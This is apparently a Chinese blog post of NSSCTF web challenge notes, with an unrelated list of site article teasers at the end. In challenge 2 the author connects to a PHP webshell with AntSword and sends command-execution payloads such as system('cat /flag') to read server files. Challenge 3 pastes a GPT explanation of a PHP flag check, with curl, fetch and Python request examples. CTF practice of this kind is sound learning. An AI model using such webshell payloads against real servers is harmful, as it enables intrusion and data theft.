NSSCTF web刷题

1

虽然找到了flag,但是我要怎么去改他的代码,让他直接输出flag呢?

(好像是要得到他的json代码,这题不让看)

2

wllm应该就是他的密码,进入许可了

意思是服务器可以执行通过POST的请求方式传入参数为wllm的命令,那这就是典型的命令执行,当然,也可以使用蚁剑或者菜刀连接这个木马

antsword

右键直接连接

在根目录下就有一个flag藏着

hackbar

ctrl+u查看源码,好看一点

wllm=var_dump(file_get_contents("/flag"));

wllm=system('cat /flag');

两种源码

var_dump()函数用于输出变量的相关信息
file_get_contents()函数用于读取文件

3

强大的ai

进来可以看见就是源码

gpt给的答案

这段 PHP 代码主要用于处理两个输入参数 (idjson),并在满足特定条件时输出一个变量 $flag 的内容。以下是代码逐行分析:


1. highlight_file('index.php');

  • 作用: 这行代码会将当前文件 (index.php) 的内容以高亮的形式输出到网页上。
  • 用途: 通常用于调试,或者作为一个挑战(比如 CTF),让用户能看到代码内容。

2. include("flag.php");

  • 作用: 包含一个名为 flag.php 的文件。
  • 隐患: 如果 flag.php 文件被泄露或包含敏感信息(比如 $flag 的定义),可能会导致漏洞。
  • 假设 flag.php 文件的内容类似于:
     

    php

    复制代码

    <?php $flag = "FLAG{example_flag}"; ?>


3. $id=$_POST['id'];

  • 作用: 从 HTTP POST 请求中获取参数 id 的值并赋值给 $id
  • 隐患: 如果未对输入进行校验,可能会导致不安全的行为,但此处代码仅比较字符串,暂未看到明显漏洞。

4. $json=json_decode($_GET['json'],true);

  • 作用: 从 HTTP GET 请求中获取参数 json 的值,并将其作为 JSON 解码为 PHP 数组,存储到 $json 变量中。
  • 隐患: 如果解码失败(如传入的不是合法的 JSON),$json 将是 null,这可能导致后续代码错误。

5. if ($id=="wllmNB"&&$json['x']=="wllm")

  • 作用: 检查 $id$json['x'] 是否同时满足指定条件:
    • $id 的值必须是字符串 "wllmNB";
    • $json['x'] 的值必须是字符串 "wllm"

6. {echo $flag;}

  • 作用: 如果条件满足,则输出 $flag 的内容。

总结分析

  • 功能:

    • 脚本的作用是输出 $flag,前提是满足条件 $id == "wllmNB"$json['x'] == "wllm"
  • 潜在漏洞:

    1. 文件包含敏感数据: 如果 flag.php 的内容意外暴露,攻击者可能直接获取到 $flag
    2. 未验证的用户输入:
      • 虽然 json_decode() 是一种解析输入的方法,但其行为依赖于用户传入的 JSON 数据,如果攻击者能够构造合法的 JSON,可能绕过其他限制。
    3. 代码逻辑过于简单: 一旦攻击者了解了判断逻辑,直接伪造请求即可拿到 $flag
  • 如何利用:

    1. 构造一个 POST 请求,其中 id="wllmNB"
    2. 构造一个 GET 请求,其中 json={"x":"wllm"}
    3. 请求示例:
       

      bash

      复制代码

      POST /index.php?id=wllmNB&json={"x":"wllm"}

      或者:
       

      perl

      复制代码

      curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"

  • 建议改进:

    1. 避免在源码中直接输出敏感信息。
    2. 使用更加复杂的验证逻辑,避免简单暴力的字符串匹配。
    3. 针对用户输入的 JSON 数据和 POST 数据增加验证,确保不会被伪造请求绕过。

真猛,我的天

1. 使用 curl 命令行工具

curl 是一个非常强大的命令行工具,用于发送 HTTP 请求。

构造 POST 请求
 
 

bash

复制代码

curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"

解释
  • -X POST 指定 HTTP 方法为 POST。
  • -d "id=wllmNB" 指定 POST 的数据(id=wllmNB)。
  • http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D
    • json=%7B%22x%22%3A%22wllm%22%7D 是 URL 编码的 JSON 参数 {"x":"wllm"}

2. 使用 Postman

Postman 是一个用户友好的界面工具,非常适合测试 HTTP 请求。

步骤
  1. 下载并安装 Postman.

  2. 创建一个新请求。

  3. 设置请求方式为 POST

  4. 在 URL 栏中输入目标地址,例如:

     

    arduino

    复制代码

    http://example.com/index.php

  5. 在请求参数部分:

    • Body: 选择 x-www-form-urlencoded
    • 添加键值对:id = wllmNB
  6. 在 Query Params 添加键值对:json = {"x":"wllm"}

  7. 点击 Send,观察返回结果。


3. 使用浏览器控制台

你也可以在浏览器的开发者工具中发送请求。

步骤
  1. 打开浏览器,按 F12 或右键选择 检查,进入开发者工具。
  2. 转到 Console(控制台)。
  3. 输入以下代码:
     

    javascript

    复制代码

    fetch('http://example.com/index.php?json={"x":"wllm"}', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'id=wllmNB' }).then(response => response.text()).then(data => console.log(data));

  4. 按回车,观察控制台输出的返回结果。

4. 使用 Python (Requests 库)

如果你熟悉 Python,可以用 requests 库发送请求。

代码示例
 
 

python

复制代码

import requests url = "http://example.com/index.php" params = {"json": '{"x":"wllm"}'} data = {"id": "wllmNB"} response = requests.post(url, params=params, data=data) print(response.text)

运行
  1. 确保安装了 requestspip install requests
  2. 运行上述代码。

推荐工具

  • 如果你熟悉命令行,使用 curl
  • 如果需要可视化界面,使用 Postman
  • 如果你是开发者,推荐使用 Python 的 Requests 库或浏览器控制台。

试一下

这...

ai强大

curl -X POST -d "id=wllmNB" "http://node7.anna.nssctf.cn:21519?json=%7B%22x%22%3A%22wllm%22%7D"

import requests

url = "http://node7.anna.nssctf.cn:21519/"
params = {"json": '{"x":"wllm"}'}
data = {"id": "wllmNB"}

response = requests.post(url, params=params, data=data)
print(response.text)

fetch('http://node7.anna.nssctf.cn:21519?json={"x":"wllm"}', { 
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'id=wllmNB'
}).then(response => response.text()).then(data => console.log(data));

 猛!三个传参的办法

后面再学,今天先摆~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/925231.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

(0基础保姆教程)-JavaEE开课啦!--11课程(初识Spring MVC + Vue2.0 + Mybatis)-实验9

一、什么是Spring MVC&#xff1f; Spring MVC 是一个基于 Java 的 Web 框架&#xff0c;遵循 MVC 设计模式&#xff0c;用于构建企业级应用程序。它通过控制器(Controller)处理用户请求&#xff0c;模型(Model)处理业务逻辑&#xff0c;视图(View)展示数据&#xff0c;实现了请…

FCBP 认证考试要点摘要

理论知识 数据处理与分析&#xff1a;包括数据的收集、清洗、转换、存储等基础操作&#xff0c;以及数据分析方法&#xff0c;如描述性统计分析、相关性分析、数据挖掘算法等的理解和应用 。数据可视化&#xff1a;涉及图表类型的选择与应用&#xff0c;如柱状图、折线图、饼图…

「Qt Widget中文示例指南」如何为窗口实现流程布局?(二)

Qt 是目前最先进、最完整的跨平台C开发工具。它不仅完全实现了一次编写&#xff0c;所有平台无差别运行&#xff0c;更提供了几乎所有开发过程中需要用到的工具。如今&#xff0c;Qt已被运用于超过70个行业、数千家企业&#xff0c;支持数百万设备及应用。 本文将展示如何为不…

智能产品综合开发 - 手势识别

1 实训选题目的 本次实训选择的题目是“基于树莓派的手势识别系统”&#xff0c;旨在为人们提供一种便捷的交互方式&#xff0c;使用户能够通过手势控制智能设备&#xff0c;摆脱传统的物理按键操作。通过本项目&#xff0c;我们希望能实现快速、灵活的手势识别&#xff0c;提升…

Redis【1】- 如何阅读Redis 源码

1 Redis 的简介 Redis 实际上是简称&#xff0c;全称为 Remote Dictionary Server (远程字典服务器)&#xff0c;由 Salvatore Sanfilippo 写的高性能 key-value 存储系统&#xff0c;其完全开源免费&#xff0c;遵守 BSD 协议。Redis 与其他 key-value 缓存产品&#xff08;如…

git的使用(简洁版)

什么是 Git&#xff1f; Git 是一个分布式版本控制系统 (DVCS)&#xff0c;用于跟踪文件的更改并协调多人之间的工作。它由 Linus Torvalds 在 2005 年创建&#xff0c;最初是为了管理 Linux 内核的开发。Git 的主要目标是提供高效、易用的版本控制工具&#xff0c;使得开发者…

用于高吞吐量和低延迟的 JVM 性能调优

Java 虚拟机 &#xff08;JVM&#xff09; 调优是调整默认参数以满足我们的应用程序需求的过程。这包括通过选择合适的垃圾回收器来使用优化版本的 getter 来调整堆的大小等简单调整。 了解 Java 虚拟机 &#xff08;JVM&#xff09; 什么是 JVM&#xff1f; Java 虚拟机 &…

django authentication 登录注册

文章目录 前言一、django配置二、后端实现1.新建app2.编写view3.配置路由 三、前端编写1、index.html2、register.html3、 login.html 总结 前言 之前&#xff0c;写了django制作简易登录系统&#xff0c;这次利用django内置的authentication功能实现注册、登录 提示&#xff…

Python+Pytest+Yaml+Allure数据参数化(DDT)数据驱动(一)

我们在做数据之前要知道几个问题 1、在代码层面怎么来数据驱动 2、yaml文件是什么 3、怎么用yaml文件实现对应的数据驱动 我们用的是pytest框架所以相对来说是简单的&#xff0c;我们通过pytest框架来实现&#xff0c;而框架中要数据驱动用到我们装饰器就好啦pytest.mark.p…

WaveForms™ SDK 参考手册(翻译笔记与总结)

概述 WaveForms 提供了一个接口&#xff0c;允许用户与 Digilent Analog Design 硬件进行交互&#xff0c;例如 Analog DiscoveryTM、Analog Discovery 2TM、Analog Discovery ProTM、Digital DiscoveryTM、Discovery Power SupplyTM 和 Electronics ExplorerTM。虽然 WaveForm…

Python基础学习-12匿名函数lambda和map、filter

目录 1、匿名函数&#xff1a; lambda 2、Lambda的参数类型 3、map、 filter 4、本节总结 1、匿名函数&#xff1a; lambda 1&#xff09;语法&#xff1a; lambda arg1, arg2, …, argN : expression using arg 2&#xff09; lambda是一个表达式&#xff0c;而不是一个语…

pyqt5+yolo模型+多线程

界面开发 开发主窗口界面 from PyQt5 import QtWidgets from PyQt5 import QtCore,QtGui import sysclass MainWindow(QtWidgets.QMainWindow):def __init__(self):super().__init__()self.initUI()self.toolbar()# 创建菜单栏def initUI(self):menubar self.menuBar()file_m…

交通流量预测:基于交通流量数据建立模型

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏…

[Java]微服务配置管理

介绍 代码拆分为微服务后, 每个服务都有自己的配置文件, 而这些配置文件中有很多重复的配置, 并且配置变化后需要重启服务, 才能生效, 这样就会影响开发体验和效率 配置管理服务可以帮助我们集中管理公共的配置, 并且nacos就可以实现配置管理服务 配置共享 我们可以把微服务共…

【C++】入门【三】

本节目标 一、类的6个默认成员函数 二、 构造函数 三、析构函数 四、拷贝构造函数 五、赋值运算符重载 六、const成员函数 七、取地址及const取地址操作符重载 一、类的6个默认成员函数 如果类里一个成员都没有&#xff0c;简称空类空类中真的什么都没有吗&#xff1f;并不不是…

D78【 python 接口自动化学习】- python基础之HTTP

day78 pycharm创建项目并进行接口请求 学习日期&#xff1a;20241124 学习目标&#xff1a;http定义及实战 -- pycharm创建项目并进行接口请求 学习笔记&#xff1a; 安装requests 安装方式&#xff1a;pip/pip3 install requests 官网教程&#xff1a;Requests: HTTP fo…

UE5 实现组合键触发事件的方法

因为工作原因。 需要用大括号{和}来触发事件 但是在蓝图中搜了一下&#xff0c;发现键盘事件里根本就没有{}这两个键。 花费了一下午&#xff0c;终于找到解决的方法了&#xff0c;也就是增强输入的弦操作 首先创建一个项目 纯蓝图或者C都可行 进入到内容浏览器的默认页面 …

rabbitmq原理及命令

目录 一、RabbitMQ原理1、交换机&#xff08;Exchange&#xff09;fanoutdirecttopicheaders&#xff08;很少用到&#xff09; 2、队列Queue3、Virtual Hosts4、基础对象 二、RabbitMQ的一些基本操作:1、用户管理2、用户角色3、vhost4、开启web管理接口5、批量删除队列 一、Ra…

硬件基础22 反馈放大电路

目录 一、反馈的基本概念与分类 1、什么是反馈 2、直流反馈与交流反馈 3、正反馈与负反馈 4、串联反馈与并联反馈 5、电压反馈与电流反馈 二、负反馈四种组态 1、电压串联负反馈放大电路 2、电压并联负反馈放大电路 3、电流串联负反馈放大电路 4、电流并联负反馈放大…

新型大语言模型的预训练与后训练范式,苹果的AFM基础语言模型

前言&#xff1a;大型语言模型&#xff08;LLMs&#xff09;的发展历程可以说是非常长&#xff0c;从早期的GPT模型一路走到了今天这些复杂的、公开权重的大型语言模型。最初&#xff0c;LLM的训练过程只关注预训练&#xff0c;但后来逐步扩展到了包括预训练和后训练在内的完整…